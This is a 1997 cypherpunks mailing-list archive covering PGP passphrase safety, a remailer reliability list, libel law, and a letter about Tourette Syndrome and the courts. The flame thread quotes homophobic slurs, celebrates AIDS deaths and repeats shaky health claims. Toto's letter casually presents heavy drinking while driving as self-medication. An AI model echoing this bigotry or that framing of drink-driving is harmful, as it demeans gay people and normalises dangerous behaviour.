Message-ID: <199701270833.DAA31377@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>If I am connected to the Internet via a SLIP/PPP connection and I
>type my passphrase while being online (for example, in Private
>Idaho, after getting my mail), could that passphrase be compromised?
>If so, how would that be done?

:Paranoid yet?  Good.  That's a healthy state to be in.  Fortunately,
:most developers (like Joel) don't put any such evil hooks into
:their software.  Having access to the source, to be able to read
:through it yourself, is IMO one of the better ways to be sure about
:such things. Reading the source and recompiling it yourself is
:probably the best.

:Still paranoid?  Excellent.

Paranoia!! I love that word :)...What about somebody snooping on my phoneline, while I type the passphrase? :)


Harka



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=qEst
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 01:37:06 -0800 (PST)
To: User357419@aol.com
Subject: Sharon / Re: Scott's Legal Problems
In-Reply-To: <970126164357_1446227788@emout17.mail.aol.com>
Message-ID: <32EC93AF.DB8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sharon,
  While I don't have a lot of details regarding Scott's personal
history, as such, I have a lifetime of experience with TS, the medical
system, and the legal system, as well.
  I spent more than a little time in court and at seminars, as a
counsellor, addressing the issues of physical and mental disabilities
and the resulting behavior patterns that are engendered by them. I have
found that both judges and prosecutors inherently understand the issues
themselves, but that defendants rarely have anyone able to effectively
speak for them in regard to these issues.

  The fact of the matter is, the legal system is geared toward
'punishment' as a means of impressing upon people that they need to
modify their behavior in order to act within the boundaries required by
society. In order for people with special needs to be afforded an
opportunity to meet society's requirements, there is an onus upon them
to be able to show reasonable cause to the judge as to why a 'generic'
solution to the problem they present to society is neither feasible, nor
just.
  As a result of being afflicted with Tourette Syndrome, your son has
problems that I am very familiar with, since I have had to deal with the
results of the affliction myself for almost a half-century, without
proper diagnosis. So I will endeavor to explain some of the
life-experiences that I have been through, personally, as a result of
this disease's influence on my life.

  The fact is, I was unjustly charged and convicted of a minor drug
offense at the age of 19, for the simple reason that I was 'different'
from the other 'suspects', and thus was more suspicious. I was fortunate
enough to recognize that I was, indeed, different from others, and that
this would be something that would affect my life greatly in the future.
The result was that I made an effort to fully understand the intricacies
of the law and to take actions to protect myself in the future, no
matter whether my actions were in line with societies dictates, or
beyond the acceptable boundaries of society.
  When you are 'different', then you are subject to a much closer
scrutiny than the rest of society, and to a much harsher punishment, as
a rule. I have spent hours on end at the border crossing near my
hometown while customs officials called down the drug dogs from the big
city, because I couldn't explain to them why I was 'twitching'. I have
spent many days in jail waiting to answer to charges that would later be
dismissed because there was no substance to them. I have been subjected
to personal debasement and humiliating libel because of various
authorities deeming that the manifestations of my disability were signs
of my lack of morality, or of evil intentions on my part.

  You say your son has problems over possessing pills that a friend gave
him to try in order to help his TS?
  My father and mother have given me, over the years, various of their
medications to try in order to see if it would help me. They did so
because, for all of their care and concern, helping me as much as
possible within the 'proper boundaries' of medical science, I was not
getting what I needed in order to become a functional human being.
  My father and mother are respected business people and leading members
of the community. They never had to fear getting 'busted' for stepping
outside the bounds of society--but I did.
  I found a drug, amphetamine, that helped me to become a functional
member of society, but I was subject to arrest and imprisonment if I got
caught possessing it. After over three decades of occasional 'illegal'
use of the drug, it is now prescribed for my by a doctor who is allowed
to do so because it is now a 'recognized' treatment for TS. But, from a
legal standpoint, I was supposed to forego use of the drug and lead a
more dysfunctional life.

  DWI's? The most functional period of my life was spent self-medicating
with alcohol and nicotine. I acted as president of a small computer
company while smoking a carton
of cigarettes a day and drinking a case (24) of beer a day. It made me
functional.
  I put on 30-50,000 miles a year, accident free, and there were times
that I would not drive if I didn't have my 'medicine/beer' because I
didn't feel it was safe to do so. I had the foresight to buy my own
breathalyzer so that I could guage my drinking according to the legal
standard, but I did so only for legal reasons, not for reasons of
safety.

  Public intoxication? I was recently 'forced' to show up in court in a
state of legally defined 'public intoxication' in order not to be locked
in a cage like an animal as a result of my disabilities.
  I missed a court appearance because the prescribed medications I was
taking could not get me onto the 'day schedule' required by the legal
system. Under threat of imprisonment for failing to show up at the next
court date, I spent the previous night imbibing my 'old faithful'
medication, Scotch. I had a friend drive me to court, and I drank Scotch
and Coke while pleading my case (which I won).
  I had no desire to 'break the law'. I did not have an 'attitude
problem'. I was not trying to 'flaunt the rules of society'. I was
trying to survive. I was trying to keep from being locked in a cage for
not being able to function according to society's wishes without
performing actions which also went against society's wishes, but which
would enable me to avoid 'punishment', nonetheless.

  I take it that Scott is 'hiding out' to avoid being locked in a cage
for violating the rules of society.
  I have spent a great deal of my life 'hiding out' so that I would not
have to come into contact with society and be punished for trying to
survive while not fitting into the common mold.
  There have been times when I was forced to 'hide out' from showing up
in court to answer this-or-that charge which I knew would be dismissed
if I could hold out until I was functional enough to deal with the
situation. I had the foresight and the knowledge to do so using the same
'techniques' as a lawyer who isn't ready to plead a case because he
stayed up too late drinking the night before. I 'fudged' the truth, as
lawyers do every day, but I did so in order to compensate for a
dysfunctionality which was very real, but undiagnosed and therefore
unrecognized by the legal system.

  I have been blessed enough in life to have 'escaped' many situations
which could have turned out badly for me, by virtue of learning at a
young age that I needed to institute my own methods of dealing with a
dysfunctionality which I recognized, but which, in many ways, remained a
mystery to me.
  I have also been blessed by having the extreme good fortune to have
encountered a number of judges and prosecutors who were truly concerned
about justice, and who had the ability to judge me as a human being, and
take into account the fact that I was being honest with them about my
attitude, intentions and circumstances, even when my outward actions or
appearance did not correspond to what they were used to seeing in
'normal' people. 
  And I have been blessed to be able to make a difference in the lives
of others by pleading their case to those in authority over them, when
they were unable to effectively do so themselves. During my years as a
consellor and court-appointed advisor, I was only vaguely aware that I
understood the circumstances of the people I was helping to defend
because I shared their disabilities and their dysfunctionality.

  In regard to Scott, I don't know him personally, but the trials and
tribulations that you have shared on the pov-twitch forum are not
foreign to me, as they mirror my own life in many ways.
  What I would say to a judge and a prosecutor who are charged with the
duty of protecting both society and the individual, is this:
 1. Please have the compassion and the wisdom to take a close look at
Scott as a human being, and seriously consider what special
circumstances may be raised by the fact that he is afflicted with a
medical condition that affects his life in ways that he has little
control over.
 2. Try to make a distinction between actions, behaviors and attitudes
that are a result of a 'bad attitude' or a 'criminal intent', and the
actions, behaviors and attitudes of an individual who is trying
desperately to survive in a world in which he is ill-equipped to
function as a result of his disabilities.
 3. Please make an attempt to review his past history of involvement
with the legal system with an eye toward recognizing that perhaps the
judgements made about him, and the resulting legal decisions regarding
the disposition of his cases, did not fully take into account his
physical and mental disabilities and thus did not reflect the best
course of resolution of his case for the greatest benefit of both
society and the individual himself. (The Tourette-support forums
regularly contain postings by loving and concerned parents who are
horrified by the mistaken judgements--and resulting punishments-they
made concerning their children before they came to realize that their
child had physical and mental disabilities which required them to view
his or her actions in a new light, and find unique solutions for the
problems that these disabilities presented.)
 4.  Keep in mind the fact that resistance to authority and the tendency
to 'flee' from the face of society are common traits among many who
suffer from Tourette Syndrome and its accompanying afflictions. (I
posted a message to pov-twitch in which I spoke of feeling like a
"hunted animal" for much of my life, and I received a huge outpouring of
responses from TS-adults which reflected the pain and fear that they
still carried inside of themselves as a result of a lifetime of
persecution for the 'small sin' of being different from those around
them.)
 5. Please realize that you are judging an individual, whose future lies
in your hands, who has a genuine need for special understanding in order
to bring his case to a resolution which will benefit society and the
individual himself.

  It is easy to recognize the special circumstances and needs necessary
to dispense true justice in the case of the 'obviously' and the
'acceptably' disabled. When one is confronted with a retarded
individual, or a person in a wheel-chair, the special circumstances
regarding the disposition of their case are obvious. When judging a
person who is rambling on disjointedly about the voices in his or her
head, and truly hears them, then the need to take this into
consideration is equally obvious.
  It is much more difficult to put Tourette Syndrome-type behaviors and
attitudes into proper perspective, and to judge the part they play in an
individuals actions and behaviors. TS traits encompass ADHD and OCD
(Obsessive-Compulsive Disorder), and a variety of 'borderline'
dysfunctionalities which result in actions and behaviors which are easy
to classify as 'willful', 'disrespectful', etc. (Children who won't sit
still in their chairs; who utter obscenities; who perform impulsive
actions based on irrational, illogical thought processes.)
  I recognize that there are certain instances in which society's
interest is best served by locking up an individual so that they do not
do irrepairable harm to others, but if this concept is extended to the
point where it becomes the preferred method of dealing with
psychological disabilities, out of convenience, then I feel that justice
is no longer being served.

  Society, in return for abridging the rights of an individual to act in
any manner that he or she pleases, also takes on the responsibility to
ensure that the individual will not unduly suffer as a result of the
dictates of society.
  If society chooses to judge Scott for stepping outside the boundaries
of its rule of law, then society must ensure that Scott is afforded the
opportunity to gain the medical assistance that he needs in order to
deal with his disabilities within the bounds of society's laws.
  Imprisonment is hardly likely to be a solution that will result in
changes to Scott's medical disabilities. If the legal system is not able
to propose an alternative to imprisonment, then what hope is there,
really, for anyone who is engaged in a daily battle to overcome the
trials, tribulations and stigmatism associated with the affliction of
Tourette Syndrome.

  I wish you and Scott all the best in dealing with his present
situation, and I hope that you are blessed with a judge who understands
that society is composed of individuals and that, in judging the
individual, he or she is judging society itself.

Love,
 Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: furballs <furballs@netcom.com>
Date: Sun, 26 Jan 1997 22:29:44 -0800 (PST)
To: cypherpunks <dlv@bwalk.dm.com>
Subject: Re: it aint REALLY successful until someone loses his temper <g>
Message-ID: <199701270629.XAA02039@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


>In-Response-To: Atilla T. Hun <attila@primenet.com>

Well, I see that you could'nt leave well enough alone... :-)

Since Snow decided to jump into your face on this one, I might as well
throw my $0.02 on the table as well. Funny how my trashcan stays very empty
these days now that cypherpunks is in my bit bucket...

Frankly, it does not surprise me that homosexuality is yet another
pointless off-topic to be discussed on the list.

My comments appear below in Snow's exchange...

At 08:07 AM 1/26/97 +0000, Attila T. Hun wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>        it aint successful until someone loses his temper <g>        
>
>        well, I do need to admit my slam was a bit hard; but 
>    homosexuality is an abomination before God.
>
>        ...but I did make one impression: Snow does not wish to be on 
>    the "sharp" end of gun with me....
>
>        I think I sent you a copy of my original slam; if not, it's 
>    worth reading and I will resend; 
>
>        scores of comments and sub topics have been generated, some 
>    nitpicking over carrier #1, etc. --but this is the first flame 
>    which surprises me on a list with so many known faggots --you tell 
>    the boys from the girls in SF by grabbing their crotch.
>
>        accutally, I thought my original post was rather 'sympathetic.' 
>
>    ------
>    forwarded by Attila T. Hun <attila@primenet.com> 
>    original sender was snow <snow@smoke.suba.com> 
>    ------
>
>    Date: Sun, 26 Jan 1997 00:23:18 -0600 (CST)
>    From: snow <snow@smoke.suba.com>
>    To: "Attila T. Hun" <attila@primenet.com>
>    Cc: cypherpunks@toad.com
>    Subject: Sort this directly to Flames, was Re: Homosexuals
>    Sender: owner-cypherpunks-unedited@toad.com
>
>> In <199701241414.GAA25350@toad.com>, on 01/24/97
>>    at 07:17 AM, "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:
>> +Anything?  My good friend TRRCJ3 reports from San Francisco that the
>> +city is much nicer now that so many homosexuals are 6 feet under.
>> +Thank God for AIDS.
>
>    attila:
>>         when AIDS was relatively obscure, I always dismissed AIDS as
>>     God's response to homosexuality (and other crimes against nature);
>>     i.e. -settlement by a just God.
>
>     I almost threw a dumb ass redneck of a ship in the middle of the ocean
>for a comment like this.

Everyone's entitled to an opinion. By stating the above, what he accuses
you of, he is just as guilty of in reverse. Frankly, having grown up in a
red neck crowd, and then coming to grips with the offbeat communities in
So. Cal. was a real eye opener. One can choose to fight it outloud and
create havoc whereever they go, or realize that what others do in the
privacy of their own domain is their business and doesn't affect your
manhood one way or another. 

This politically correct bullshit response is just symptomatic of someone
who is uncomfortable with the position taken for expediency's sake and is
trying to justify to himself the course taken.

>
>    I've read a lot of your rantings on this list, and I agree with some of 
>them, but statements like this prove that you are a bigoted idiot. You may
>have some areas where you know what you are talking about, and I wouldn't
want
>to be on the sharp end of a gun you were holding, but your head is
definately 
>stuck firmly up your ass. 

Ok, we throw down the gauntlet here in true USENET style, and in keeping
with that, have nothing of value to say (just name calling).

>
>>         Unfortunately, some of these boy-girls could not keep it among
>>     themselves, and the closet queens brought it home.  AIDS replicates
>
>     Let's not forget the Hemophilliacs(spelling) and IV drug users.

He does bring up a point, which does in some ways support your poistion here.

>
>>     asexually, knowing no boundaries.
>
>     It was purely by accident that HIV was first noticed in the Homosexual 
>population in this country.
>

Not true. Aids has been here for many years. They have historically traced
it back to Africa where they have records delineating the disease amongst
the Eurpoeans and those not indiginous to the area. Interesting that the
WHO and other medical groups are studying tribes in Zaire and Congo right
now that have a natural immunity to the bug. Considering they have lived in
the areas for countless years, it would make sense that natural genetic
selection would propogate those who would be resistent and live long enough
to have children. Also of interest, is the fact that the living population
under study does not practice homosexual behavoir, as it is by virtue of
the practice, pointless to the continuance of the tribe.

As to the "discovery" of AIDS in the gay population in the US. There was no
discovery, as it was a health problem that started spinning out of control
within the community. Ofcourse the Murdock press loved the setup as it
introduced the proper shock value needed to sell subscriptions - much like
the macabre sense of curiosity at viewing a terrible auto accident. Human
nature... it never changes.

>    Viruses don't know anything about a persons sexual preference, and any 
>so called "god" that would use such a non-selective weapon is not a god 
>intelligent people should worship. Such a god would be a blind ignorant god.

Now Snow is dictating his view of God onto yours. Bad form. No justifiable
position to defend. but we do it with vim and vigor... :-)

>
>>         I would not wish the disease upon anyone, but if you play, you
>>     just might pay --as in "...reap what thy hath sown."
>
>    Tell that to some 1 month old whose mother infected him/her. Tell that
>to a 5 year old who got it from a blood transfusion. 

Someone ought to teach him about the difference between agency and
responsibility - nah, he'd use his agency to deny it anyay... :-)

>
>>         To be strongly opposed to homosexuality has nothing to do with
>>     bigotry, political correctness, or aberrationist apologists; it is
>>     an exposition of the natural order among the species.
>
>     Answer me 2 questions:
>
>     1) If homosexuality is a "choice", why would anyone choose that
lifestyle
>where the averge life expectancy is in the 40's, that causes so much pain 
>among ones family, and so much conflict with the rest of society.
>
>     2) If it is not a choice, why would "god" punish those who had no
choice? 
>

These two points deny the existence of agency in it's basic form, and deny
God by denying his omniscience, and omnipoitence; two basic characteristics
of the office. If God were fallable, or human (fallable), then logic would
dictate a being of higher plane and that our explict trust in him would be
subject to condition, thus invalidating the purpose and scope of religion
from a immutable definite to a maybe.

Again, a position impossible to defend. Purely opinion.

>>         and for those who deny God, read Darwin as to the relative
>>     rate of survival for deviant and/or abnormal species.
>
>     Then how do you explain homosexual behavior in several other species 
>that seem to be doing quite well?
>

Donald Woomer answered that question, by pointing out that in the Ag
business, it has been observed that ~10% of livestock of many breeds
exhibit homosexual tendencies. It doesn't matter the sex of the animal,
it's genes do not get passed on to the next generation as it refuses to
propogate with the opposite sex in many instances. This does not mean the
livestock population is threatened in toto. Infact, the population will
continue to thrive. It is when a large percentage of a given herd shows
this tendency that the herd declines, dissolves or is taken over by a
healthy herd to promulgate the species. The instict for self-preservation
is strong, and it is falacious to assume that we has humans can attribute
human attributes to such as cattle or sheep.

Given the the above claim by Snow, does this mean that man kind is nothing
more than livestock? Again, this denies agency and denies the greater
intellect that humans enjoy. To wit: when was the last time you saw a cow
expressing a global concern about politics on USENET? :-)

>     The answer is you can't. You adopt a knee-jerk position that reinforces
>your deliberate isolationism. Anything that may cause you to question your 
>worldview gets sorted to /dev/evil and you plow ahead like some pig ignorant 
>dough boy killing as ordered for king and country.

Who's the ignorant one here? The name caller or the recipient. My vote goes
to the name caller, as he assumes this to be a debate of fact, when in
essence he's expressed only his opinion on the matter and not bothered to
show teacher his homework (the dog ate it - so give me an "A" anyway 'cause
I deserve it). ;->

...Paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 02:31:34 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fantasy quotes & libel
In-Reply-To: <199701270630.AAA02364@einstein>
Message-ID: <32ECA081.7C76@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim,
 I enjoyed the 250,000 legalese-spams that you posted to the cypherpunks
list. You are certainly handy with a search-engine.
 You have certainly shown that the shotgun-approach to legal issues is
a valid one, as one of your posts actually came close to being relevant.

Jim Choate wrote:
> With the current 'editorial control' as provided by the cypherpunks mailing
> list the mailing list operator/censor may also be held in some situations
> accountable as well. This occurs because the relationship between list
> operator and the quoter is similar to that of editor and reporter in a
> newspaper. For the quoter to get his quote distributed the list operator
> must ok it. The reasoning used is that the editor 'should have known' the
> boundaries and applied them.

  Well, I'm certainly glad to hear that you feel you have the legal 
standing to sue the pants off of Sandy and John. When you're done with
them, you might want to check out Canadian law and think about suing
myself, as well.
  Of course, I realize that, given your strong position in regard to
the need not to interfere in the rights of others to exert dicatatorial
control over the content which passes through systems that they have
paid for with their own money, you would not be so hypocritical as to
attempt to interfere with those rights.
  An intelligent fellow such as yourself certainly wouldn't be so
ignorant as to stand up in court and declare that the right to exert
dicatatorial power by virtue of money and position should be negated
only when it affects you personally.

  I am sincerely in your debt for pointing out to me that the purchase
of my hardware and software, and the money I spend in maintaining it,
give me license to exert total control over anything that passes 
through it.
  It was only the knowledge that you are a man who stands behind his
statements that enabled me to recognize your post expressing whining
outrage that the principles you espouse should apply equally to all
were meant as humor, despite your failure to add the little happy-face
grin :).

Toto
 
> Not only is ignorance not an excuse but neither is negligence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 02:59:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypher-Apology
Message-ID: <32ECA741.2E2B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


I seem to have posted one of my private emails to the conference by 
mistake. It was in regard to a lady whose son is going to court in the
morning and has nothing to do with crypto. (unless I try to make a
supremely long leap in relating Tourette Syndrome to the Timmy May
'cocksucker' postings)
  My first instinct was to blame Bill Gates for holding me hostage and
forcing me to use Win95. My second instinct was to try to excuse my
error by blaming the ingestion of large amounts of drugs and alcohol
for my misdirection of my email.
  However, after consultation with the space aliens who speak to me
through the mercury filling in my teeth, I have come to the realization
that the error was the result of the fact that I am a fucking idiot.

  I imagine that my apology will not be received by those on the 
censored list, as I have just 'flamed' myself. I would apologize for
this, as well, but I am still sober enough to realize that this could
quite possibly result in an endless-apology-loop which would interfere
with the rights of those on the cypherpunks-uncensored list to receive
the "Make $$Money$$ Fast" postings that Sandy has been so kind to
forward to those who oppose censorship of list subscribers.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 27 Jan 1997 06:44:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701271444.GAA24207@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:48 AM 1/24/97 -0800, Greg Broiles wrote:

...
>While I think it's always useful to consider unintended (or otherwise
>unexpected) consequences, Gladwell's argument sent a shiver down my spine
>with its shameless paternalism. This bit (from roughly the middle of his
>piece) is what I found creepiest:
>
>"According to one recent study, somewhere between twenty and twenty-seven
>per cent of the parents of four-to six-year-olds never restrict their
>children's viewing hours, never decide what programs they can watch, never
>change the channel when something objectionable comes on, and never forbid
>the watching of certain programs. It has apparently never occurred to these
>parents that television can be a bad influence, and it strains credulity to
>think that the advent of the V-chip is going to wake them up. Yet their
>families - mainly lower-income, ill-educated - are the very ones most in
>need of protection from television violence. Here is a rearranging effect
>with a vengeance: not only does the V-chip make television worse, it makes
>television worse precisely for those already most vulnerable to its excesses."
>
>I understood Gladwell's point to be, in essence, that the V-chip will allow
>TV producers to generate higher levels of morally impure content which he
>fears will pollute the minds of poor children because their parents are too
>stupid to protect them from the harmful content and too poor to buy new
>televisions which will include V-chips.
...
What this means is, subsidized v-chip upgrades, and v-chips turned on by
default.
Now to watch the really good stuff you have to subscribe to "tv-un v-chipped"
Sorry, I couldn't resist the pot shot.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 27 Jan 1997 06:53:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701271450.GAA19056@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 27 Jan 97 6:48:19 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ****#**#**##     1:33  99.99%
balls    remailer@huge.cajones.com        *****++###*#     2:40  99.98%
dustbin  dustman@athensnet.com            --+---+---+   2:14:49  99.92%
winsock  winsock@rigel.cyberpass.net      ------------  4:55:21  99.87%
exon     remailer@remailer.nl.com         ###*### ####      :37  99.76%
haystack haystack@holy.cow.net            ###+*##***#*    29:02  99.72%
weasel   config@weasel.owl.de             ++++++-++++   1:17:40  99.33%
squirrel mix@squirrel.owl.de               +++-++++++   1:16:21  99.16%
extropia remail@miron.vip.best.com        -----------   3:58:51  99.13%
lead     mix@zifi.genetics.utah.edu       +*+*+ +++--+  2:05:09  98.97%
middle   middleman@jpunix.com             --  .-*++.    8:38:28  98.42%
mix      mixmaster@remail.obscura.com        __.-+-.-  25:34:03  97.98%
cyber    alias@alias.cyberpass.net        +*+**+++*+ *  1:28:18  96.80%
reno     middleman@cyberpass.net           -+--- +--+   1:16:40  95.45%
lucifer  lucifer@dhp.com                  ++++++++   +  1:24:25  95.15%
replay   remailer@replay.com              ***   * *       16:22  69.31%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gt@kdn0.attnet.or.jp (Gemini Thunder)
Date: Sun, 26 Jan 1997 22:52:49 -0800 (PST)
To: Frank Willoughby <frankw@in.net>
Subject: Re: WinKrypt
In-Reply-To: <199701270226.SAA03590@toad.com>
Message-ID: <32ed4fa1.277575631@kdn0.attnet.or.jp>
MIME-Version: 1.0
Content-Type: text/plain


Thus sprach Frank Willoughby <frankw@in.net>:

>Out of curiosity, is anyone familiar with WinKrypt by Syncronsys?

Syncronsys [sp?] Software is the maker of SoftRam95, a program that
 supposedly doubled your memory through memory compression and other
 quasi-magical means. It was later revealed that not only did it not
 work as advertised, but it actually did not do anything at all
 (except display graphs indicating non-existant improvements).  IIRC,
 they lost a class action suit over this issue.

I would trust an encryption program relased to the public by the NSA
 more than anything these charlatans released.

[snip]
>I was curious how it compares to McAfee's PC Crypto which uses 
>40-bit DES or 160-bit Blowfish (user-chooses) & other PC/laptop
>encryption products.  BTW, I would also appreciate your input 
>on any crypto products which you believe to be robust, easy-to-use 
>& secure.  (I know I can only have 2 out of 3, but it's worth a try 
>anyway).  8^)  

I consider PGP to be robust, easy-to-use (with some front-end
 assistance), and secure.  However, I am by no means an authority on
 crypto.

__________
- 2[b]||!2[b] /* What's the question?  It's a tautology! */
- 0x2B|!0x2B  /* == FFFFFFFF */





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Mon, 27 Jan 1997 04:00:22 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701270714.BAA00545@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970127064951.27949E-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


drgrubor is now at the pgh.org instead of aol.com

On Mon, 27 Jan 1997, Igor Chudov @ home wrote:

> [Cc: to Dr. John Martin Grubor, Law Systems Institute, Medical-Cannabis Assn]
> 
> Jim Choate wrote:
> > 
> > 
> >    Landskroner, LTD. [INLINE]
> >    
> > Libel / Slander
>  
> I am not sure if you posted this information in response to my request
> to cite a statute that would prove that libel is a crime.
> 
> Me> Jim Choate wrote:
> Me> > 
> Me> > 
> Me> > 
> Me> > Are you aware that attributing statements in print to a party when that
> Me> > party did not write them is a crime?
> Me> 
> Me> cite the statute
> 
> 
> These postings do not prove that libel is a crime. It is because libel
> is not a crime. Libel is a tort, and unlike with crime, the government
> cannot initiate a legal action against someone for libel. Only injured
> (libeled) individuals and not the government can sue in a libel case.
> 

That is correct.  Libel is a tort and not a crime.

> I would appreciate if someone more knowledgeable about the law could
> comment on this. I may be mistaken.
> 
> igor 

No, you are correct Igor.  Libel is written defamation, and defamation
is NEVER a crime in the USA.  It may be in other countries, but not
the good old USA.

> 
> >    Libel / Slander is an area that involves defamatory oral or written
> >    statements containing false and misleading material which causes
> >    damage or injury to reputation and/or monetary loss.
> >    

And it is tough to prove.  Just where was this article posted at?

> >    We provide a quick review of their success stories , some media and
> >    newspaper articles about what they've been able to do for their
> >    clients, and published articles about this topic.
> >    
> >    Please e-mail us with questions about our service! Landskroner and
> >    Phillips 
> >    [INLINE]
> >    
> >    Nationally Recognized Consumer Trial Advocates.
> >    Over 100 Years combined experience in both State and Federal Courts.
> >    

These guys do not know what they are talking about.

> >    55 Public Square, Tenth Floor, Cleveland Ohio 44113-1904
> >    Phone: (216) 241-7000
> >    Fax: (216) 241-3135
> >    Toll Free: (888) 241-7001
> >    [INLINE]
> > 
> 
> 
> 
> 	- Igor.
> 

The assholes are not Criminal Lawyers, and I will give them a call
to check them out...

I left a mesage with them. and told the InterNet lawyer to call
be back.  This is just a Civil Law firm looking for business.

-aga






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
